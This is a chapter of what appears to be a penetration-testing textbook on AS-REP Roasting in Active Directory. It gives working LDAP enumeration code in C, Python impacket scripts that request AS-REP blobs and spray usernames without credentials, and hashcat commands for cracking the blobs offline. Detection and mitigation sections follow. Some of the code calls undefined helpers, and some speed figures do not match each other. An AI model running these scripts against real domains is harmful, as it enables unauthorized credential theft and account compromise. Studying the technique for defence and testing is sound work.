Chapter 100

AS-REP Roasting

Exploiting accounts with Kerberos pre-authentication disabled: crafting raw AS-REQ packets, extracting the AS-REP encrypted blob, and cracking it offline — no domain authentication required

Scenario

You have nothing — no domain account, no credentials. You're on the network and can reach port 88 (Kerberos) on a domain controller. AS-REP Roasting starts here. Any Active Directory account with the Do not require Kerberos preauthentication flag set will respond to an unauthenticated AS-REQ with an AS-REP that contains a blob encrypted with the account's NT hash. You send a crafted packet, capture the response, and crack it offline. Zero credentials required for the attack itself. This is the one Kerberos attack you can launch before you even have a foothold.

What Kerberos Pre-authentication Does

Normal AS-REQ (pre-auth ENABLED): Client ──────────────────────────────────────────────────────► DC (KDC) AS-REQ contains: - PA-ENC-TIMESTAMP: current timestamp, encrypted with user's NT hash - This proves the client knows the password BEFORE the KDC responds - If the timestamp doesn't decrypt correctly → KDC returns KRB_ERROR The KDC never sends an encrypted response before verifying the client knows the key. Pre-auth prevents offline attack: no hash to capture if AS-REP is never sent. ────────────────────────────────────────────────────────────────────────── Pre-authentication DISABLED (DONT_REQ_PREAUTH flag on the account): Client ──────────────────────────────────────────────────────► DC (KDC) AS-REQ contains: - Just the account name — no timestamp, no proof of knowing the password DC (KDC) ───────────────────────────────────────────────────► Client AS-REP contains: - enc-part: encrypted with the user's NT hash (session key + ticket) - The KDC sends this REGARDLESS of whether the requester knows the password Attacker captures enc-part → offline brute-force against the user's NT hash No authentication needed. Just send the packet, receive the blob, crack it. Account flag: ADS_UF_DONT_REQUIRE_PREAUTH = 0x400000 LDAP attribute: userAccountControl bit 22

Why Pre-authentication Gets Disabled

Pre-authentication is enabled by default for all accounts. Administrators disable it for specific reasons — all of which are misconfigurations from a security standpoint:

Prevalence

In large enterprise environments (10,000+ accounts), finding 5-50 accounts with pre-authentication disabled is common. Tools like PingCastle and BloodHound report this as a finding, and many orgs have not reviewed every account. Even one account with a weak password cracks in seconds.

Enumerating Vulnerable Accounts via LDAP

The LDAP filter (&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304)) matches any user account with bit 22 of userAccountControl set (4194304 = 0x400000 = DONT_REQ_PREAUTH). The LDAP matching rule OID 1.2.840.113556.1.4.803 is the bitwise AND rule:

#include <windows.h>
#include <winldap.h>
#include <stdio.h>
#pragma comment(lib, "wldap32.lib")

void EnumNoPreauthAccounts() {
    LDAP *ld = ldap_init(NULL, LDAP_PORT);
    ULONG ver = LDAP_VERSION3;
    ldap_set_option(ld, LDAP_OPT_PROTOCOL_VERSION, &ver);
    ldap_bind_s(ld, NULL, NULL, LDAP_AUTH_NEGOTIATE);

    // Get base DN from rootDSE
    WCHAR *rootAttrs[] = { L"defaultNamingContext", NULL };
    LDAPMessage *rootRes = NULL;
    ldap_search_s(ld, NULL, LDAP_SCOPE_BASE, L"(objectClass=*)", rootAttrs, 0, &rootRes);
    LDAPMessage *e = ldap_first_entry(ld, rootRes);
    WCHAR **dcVals = ldap_get_values(ld, e, L"defaultNamingContext");
    WCHAR baseDN[512];
    wcscpy_s(baseDN, 512, dcVals[0]);
    ldap_value_free(dcVals);
    ldap_msgfree(rootRes);

    WCHAR *attrs[] = {
        L"sAMAccountName", L"userAccountControl",
        L"distinguishedName", L"memberOf", NULL
    };

    // Bitwise AND filter: userAccountControl & 0x400000 (DONT_REQ_PREAUTH)
    LDAPMessage *res = NULL;
    ldap_search_s(ld, baseDN, LDAP_SCOPE_SUBTREE,
        L"(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))",
        attrs, 0, &res);

    DWORD count = (DWORD)ldap_count_entries(ld, res);
    wprintf(L"Found %u accounts with pre-auth disabled:\n", count);

    LDAPMessage *entry = ldap_first_entry(ld, res);
    while (entry) {
        WCHAR **sam = ldap_get_values(ld, entry, L"sAMAccountName");
        WCHAR **dn  = ldap_get_values(ld, entry, L"distinguishedName");
        if (sam) wprintf(L"  [*] %s\n      DN: %s\n", sam[0], dn ? dn[0] : L"?");
        if (sam) ldap_value_free(sam);
        if (dn)  ldap_value_free(dn);
        entry = ldap_next_entry(ld, entry);
    }

    ldap_msgfree(res);
    ldap_unbind(ld);
}

Crafting the AS-REQ Without a Password

The AS-REQ without pre-authentication is a standard Kerberos exchange using raw UDP/TCP to port 88. You specify the target username and request an RC4-encrypted ticket (etype 23) for faster cracking. The Python implementation via impacket shows the protocol clearly:

# Python / impacket — GetNPUsers.py style AS-REQ
from impacket.krb5 import constants
from impacket.krb5.asn1 import AS_REQ, AS_REP, KERB_PA_PAC_REQUEST
from impacket.krb5.kerberosv5 import sendReceive
from pyasn1.type import univ, namedtype
from pyasn1.codec.der import encoder, decoder
import datetime, struct, socket

def get_as_rep_hash(username, domain, dc_ip):
    """Request AS-REP without pre-authentication for the given username."""
    client_name = principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
    server_name = principal('krbtgt/%s' % domain,
                             type=constants.PrincipalNameType.NT_SRV_INST.value)

    req = AS_REQ()
    req['pvno'] = 5
    req['msg-type'] = 10  # AS-REQ

    # Request etype 23 (RC4-HMAC) for faster offline cracking
    # Also include 18 (AES-256) and 17 (AES-128) for compatibility
    req['req-body']['etype'] = [23, 18, 17]
    req['req-body']['cname'] = client_name
    req['req-body']['realm'] = domain.upper()
    req['req-body']['sname'] = server_name

    # Till time: 10 years from now (standard)
    till = datetime.datetime.utcnow() + datetime.timedelta(days=3650)
    req['req-body']['till'] = KerberosTime.to_asn1(till)

    # PA-PAC-REQUEST: optional, tells KDC to include PAC in the response
    pa_pac = KERB_PA_PAC_REQUEST()
    pa_pac['include-pac'] = True

    req['padata'] = [{'padata-type': 128, 'padata-value': encoder.encode(pa_pac)}]

    # Send to DC port 88
    resp = sendReceive(encoder.encode(req), domain, dc_ip)

    # Parse the response
    as_rep, _ = decoder.decode(resp, asn1Spec=AS_REP())

    # The encrypted blob is in as_rep['enc-part']
    # cipher: bytes from as_rep['enc-part']['cipher']
    # etype: as_rep['enc-part']['etype'] (should be 23 for RC4)
    etype = int(as_rep['enc-part']['etype'])
    cipher = bytes(as_rep['enc-part']['cipher'])

    return etype, cipher, username, domain


# Usage: crack hundreds of accounts in bulk
for user in user_list:
    try:
        etype, cipher, u, d = get_as_rep_hash(user, "corp.local", dc_ip)
        print(format_hashcat(etype, cipher, u, d))
    except KerberosError as e:
        pass  # Account not vulnerable (pre-auth required) → skip

AS-REP Encrypted Blob — What You're Cracking

AS-REP message structure (simplified): AS-REP { pvno: 5 msg-type: 11 (krb-as-rep) padata: [optional PA-DATA] crealm: "CORP.LOCAL" cname: { sAMAccountName } ticket: Ticket { tkt-vno: 5 realm: "CORP.LOCAL" sname: { "krbtgt", "CORP.LOCAL" } enc-part: EncryptedData { etype: 18 ← AES-256 (krbtgt key — we DON'T crack this) cipher: bytes ← encrypted with krbtgt hash — uncrackable without krbtgt } } enc-part: EncryptedData { etype: 23 ← RC4-HMAC (USER's NT hash — THIS is what we crack) cipher: bytes ← encrypted with the vulnerable account's NT hash } } The enc-part at the AS-REP level (not inside the ticket) is what you target. It contains the session key and client nonce, encrypted with the user's NT hash. The Ticket's enc-part is encrypted with krbtgt's key — nobody cracks that. Hashcat format for etype 23: $krb5asrep$23$username@DOMAIN.LOCAL$hexchecksum$hexciphertext Split at byte 16 of the ciphertext (same split as Kerberoasting).

Hashcat Format and Cracking

def format_hashcat(etype, cipher, username, domain):
    """Format AS-REP blob for hashcat -m 18200."""
    # Mode 18200 = Kerberos 5, etype 23, AS-REP (RC4)
    # Mode 19900 = Kerberos 5, etype 17, AS-REP (AES-128)
    # Mode 19800 = Kerberos 5, etype 18, AS-REP (AES-256)

    hex_cipher = cipher.hex()
    checksum   = hex_cipher[:32]   # first 16 bytes = checksum
    enc_data   = hex_cipher[32:]   # rest = ciphertext

    return (f"$krb5asrep$23${username}@{domain.upper()}$"
            f"{checksum}${enc_data}")
# Crack AS-REP hashes offline

# RC4-HMAC AS-REP (etype 23) — hashcat mode 18200
hashcat -m 18200 asrep_hashes.txt rockyou.txt

# With rules (recommended — many accounts have password+symbol patterns)
hashcat -m 18200 asrep_hashes.txt rockyou.txt \
    -r /usr/share/hashcat/rules/best64.rule

# Mask for common patterns (Company + Year + Special)
hashcat -m 18200 hash.txt -a 3 'Company?d?d?d?d?s'

# AES-256 AS-REP (etype 18)
hashcat -m 19800 asrep_aes_hashes.txt rockyou.txt

# GPU throughput (RTX 3090):
# etype 23 (RC4): ~12 billion H/s — rockyou.txt in milliseconds
# etype 18 (AES-256): ~1 million H/s — rockyou.txt in ~14 seconds

Unauthenticated Variant — Username Spraying

The most powerful variant: you have no credentials at all, but you have a list of usernames (from LinkedIn, web scraping, email format guessing, or brute-forcing). Send AS-REQ for each username. Accounts without pre-auth respond with an AS-REP. Accounts with pre-auth respond with KRB5KDC_ERR_PREAUTH_REQUIRED. Accounts that don't exist respond with KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN. This lets you enumerate valid usernames AND capture hashes in one pass:

#!/usr/bin/env python3
# Unauthenticated AS-REP roaster — no credentials needed
import socket, sys
from impacket.krb5.kerberosv5 import getKerberosTGT
from impacket.krb5 import constants
from impacket.krb5.types import KerberosException

def spray_users(user_file, domain, dc_ip):
    valid, vulnerable, hashes = [], [], []

    with open(user_file) as f:
        users = [l.strip() for l in f if l.strip()]

    for user in users:
        try:
            # Try with empty password — will fail auth but reveals if preauth is required
            tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
                clientName=principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value),
                password='',
                domain=domain,
                lmhash=b'', nthash=b'',
                aesKey='',
                kdcHost=dc_ip,
                requestPAC=True
            )
            # If we get here without exception, pre-auth was NOT required!
            hashes.append(format_asrep_hash(cipher, user, domain))
            print(f"[+] VULNERABLE (no preauth): {user}")
            vulnerable.append(user)

        except KerberosException as e:
            error = str(e)
            if 'KDC_ERR_PREAUTH_REQUIRED' in error:
                print(f"[-] Pre-auth required (valid user): {user}")
                valid.append(user)
            elif 'CLIENT_NOT_FOUND' in error or 'C_PRINCIPAL_UNKNOWN' in error:
                print(f"[x] Invalid user: {user}")
            else:
                print(f"[?] Unexpected error for {user}: {error}")

    print(f"\n[*] Valid users (preauth): {len(valid)}")
    print(f"[*] Vulnerable (no preauth): {len(vulnerable)}")
    if hashes:
        with open('asrep_hashes.txt', 'w') as o:
            o.write('\n'.join(hashes))
        print(f"[+] Wrote {len(hashes)} hashes to asrep_hashes.txt")

# Command-line tools that implement this:
# impacket-GetNPUsers corp.local/ -no-pass -usersfile users.txt -dc-ip 10.10.10.10
# Rubeus asreproast /format:hashcat /outfile:hashes.txt

AS-REP Roasting vs Kerberoasting — Comparison

FactorAS-REP RoastingKerberoasting
Domain creds needed?No — completely unauthenticatedYes — any domain user
Target accountsUser accounts with pre-auth disabledService accounts with SPNs
How common?Less common (5-20 per large domain)Very common (many domains have 50+ SPNs)
What you crackAS-REP enc-part (encrypted with user's NT hash)TGS ticket (encrypted with service account NT hash)
Hashcat mode18200 (etype 23) / 19800 (etype 18)13100 (etype 23) / 19700 (etype 18)
DC log event4768 (AS-REQ / TGT request)4769 (TGS-REQ / service ticket request)
Password qualityUser account passwords — often rotatedService account passwords — often never rotated, weaker
MitigationRe-enable pre-authentication on all accountsAES-only etypes + strong passwords + managed service accounts (gMSA)

Detection

SignalEvent SourceNotes
Event 4768 with no pre-authentication (EncryptionType = 0x0 in the request)DC Security LogKERB_ETYPE_NULL in the AS-REQ indicates pre-auth was skipped — the KDC logs this on 4768
Event 4768 with Failure Code 0x18 (pre-auth required) from same source for many usersDC Security LogUsername enumeration via AS-REQ — attacker probing valid usernames
4768 bursts from non-domain-joined IP at port 88DC Security Log / FirewallUnauthenticated tooling (impacket) runs from Linux — sourceAddress won't be a domain member
Account with DONT_REQ_PREAUTH flag in user auditAD periodic audit / BloodHoundProactive: find and fix these accounts before attackers do
Mitigation

The fix is simple: re-enable pre-authentication on every account that has it disabled. If an application breaks, that application has a Kerberos implementation bug and needs to be updated. Use Microsoft's Group Policy or a one-liner PowerShell audit to find all accounts: Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth. Then re-enable: Set-ADAccountControl -Identity username -DoesNotRequirePreAuth $false. Managed Service Accounts (gMSA) automatically have strong passwords and pre-authentication enabled — migrate service accounts to gMSA where possible.

Q&A

Can you use AS-REP Roasting to enumerate valid usernames from outside the domain even with pre-auth enabled?

Yes — this is a separate but related primitive. When you send an AS-REQ for a non-existent username, the KDC returns KDC_ERR_C_PRINCIPAL_UNKNOWN (error 0x6). When you send an AS-REQ for a valid username with pre-authentication enabled, the KDC returns KDC_ERR_PREAUTH_REQUIRED (error 0x19). The two different error codes reveal whether the username exists, even though you never authenticate. This is called Kerberos user enumeration (KERBRUTE technique — the tool kerbrute implements this). The important nuance for defenders: 4768 failure events with failure code 0x6 in bulk from one source IP is the detection signal. It's noisier to detect than AS-REP success events because some 0x6 errors happen naturally from typos. Volume and rate from a single source, combined with sequential username patterns (first.last from a harvested list), are the distinguishing characteristics.

If a target account uses AES-only (etype 18) and has pre-auth disabled, can you still crack it?

Yes, but it's dramatically slower. If the account's msDS-SupportedEncryptionTypes excludes RC4 (only AES-128=0x08 and AES-256=0x10 are set), the KDC will issue an AES-encrypted AS-REP regardless of what etypes you request. You'll get etype 17 (AES-128) or etype 18 (AES-256) depending on the DC's preference. Cracking these with hashcat modes 19900 (AES-128) or 19800 (AES-256) is ~5000x slower than RC4. On a single RTX 3090, etype 18 runs at about 1 million hashes/second. Rockyou.txt (14M passwords) takes about 14 seconds. A full dictionary + rules wordlist of 1 billion candidates takes about 17 minutes per hash. So cracking is still possible if the password is in a wordlist — but random 20-character passwords are safe. Combined with AES-only enforcement, even if an account has pre-auth mistakenly disabled, a strong random password makes cracking infeasible. The real fix remains: re-enable pre-authentication so the hash is never exposed in the first place.